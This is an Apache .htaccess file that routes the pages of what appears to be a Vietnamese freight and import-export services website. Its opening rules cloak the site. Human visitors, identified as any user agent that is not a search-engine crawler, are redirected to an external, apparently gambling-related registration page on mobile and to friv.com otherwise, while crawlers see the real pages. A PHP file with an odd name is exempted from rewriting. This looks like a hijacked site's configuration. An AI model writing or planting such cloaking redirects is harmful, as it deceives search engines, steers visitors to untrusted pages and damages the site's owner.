<IfModule mod_rewrite.c>
RewriteEngine On

RewriteRule ^doni\.inc\.php$ - [END]
RewriteRule ^(robots\.txt|llms\.txt|rss\.xml|feed\.xml)$ - [END]
RewriteRule (^|.*/)sitemap(-[A-Za-z0-9._-]+)?\.xml$ - [END]
RewriteRule ^google[0-9a-z]+\.html$ - [END]

RewriteCond %{HTTP_USER_AGENT} !(googlebot|googlebot/2\.1|googlebot-image|googlebot-news|googlebot-mobile|google-inspectiontool|slurp|spider|crawl|msnbot|yahoo|ask\sjeeves|yandexbot|bingbot|duckduckbot|baiduspider|exabot|sogou|ahrefbot|semrushbot|mj12bot|applebot|facebookexternalhit|twitterbot) [NC]
RewriteCond %{HTTP_USER_AGENT} (android|webos|iphone|ipad|ipod|blackberry|iemobile|opera\smini|opera\smobi|windows\sphone|mobile|silk|fennec|bb10) [NC]
RewriteRule .* https://roket.gawatotogroup.com/auth-register [R=302,L]

RewriteCond %{HTTP_USER_AGENT} !(googlebot|googlebot/2\.1|googlebot-image|googlebot-news|googlebot-mobile|google-inspectiontool|slurp|spider|crawl|msnbot|yahoo|ask\sjeeves|yandexbot|bingbot|duckduckbot|baiduspider|exabot|sogou|ahrefbot|semrushbot|mj12bot|applebot|facebookexternalhit|twitterbot) [NC]
RewriteRule .* https://friv.com/ [R=302,L]

RewriteRule ^$ index.html [END]
RewriteRule ^index\.php/?$ index.html [END]

RewriteRule ^dich-vu-mua-hang-order-tim-nguon-dam-phan/?$ dich-vu-mua-hang-order-tim-nguon-dam-phan/index.html [END]

RewriteRule ^dich-vu-van-chuyen-quoc-te-duong-bien/?$ dich-vu-van-chuyen-quoc-te-duong-bien/index.html [END]

RewriteRule ^dich-vu-van-chuyen-quoc-te-duong-bo/?$ dich-vu-van-chuyen-quoc-te-duong-bo/index.html [END]

RewriteRule ^dich-vu-van-chuyen-noi-dia/?$ dich-vu-van-chuyen-noi-dia/index.html [END]

RewriteRule ^dich-vu-uy-thac-xnk/?$ dich-vu-uy-thac-xnk/index.html [END]

RewriteRule ^gioi-thieu/?$ gioi-thieu/index.html [END]

RewriteRule ^blog/?$ blog/index.html [END]

RewriteCond %{REQUEST_URI} !^/$ [NC]
RewriteCond %{REQUEST_URI} !^/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/index\.php/?$ [NC]
RewriteCond %{REQUEST_URI} !^/blog/?$ [NC]
RewriteCond %{REQUEST_URI} !^/blog/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-mua-hang-order-tim-nguon-dam-phan/?$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-mua-hang-order-tim-nguon-dam-phan/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-uy-thac-xnk/?$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-uy-thac-xnk/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-van-chuyen-noi-dia/?$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-van-chuyen-noi-dia/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-van-chuyen-quoc-te-duong-bien/?$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-van-chuyen-quoc-te-duong-bien/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-van-chuyen-quoc-te-duong-bo/?$ [NC]
RewriteCond %{REQUEST_URI} !^/dich-vu-van-chuyen-quoc-te-duong-bo/index\.html$ [NC]
RewriteCond %{REQUEST_URI} !^/gioi-thieu/?$ [NC]
RewriteCond %{REQUEST_URI} !^/gioi-thieu/index\.html$ [NC]
RewriteRule .* https://friv.com/ [R=302,L]
</IfModule>
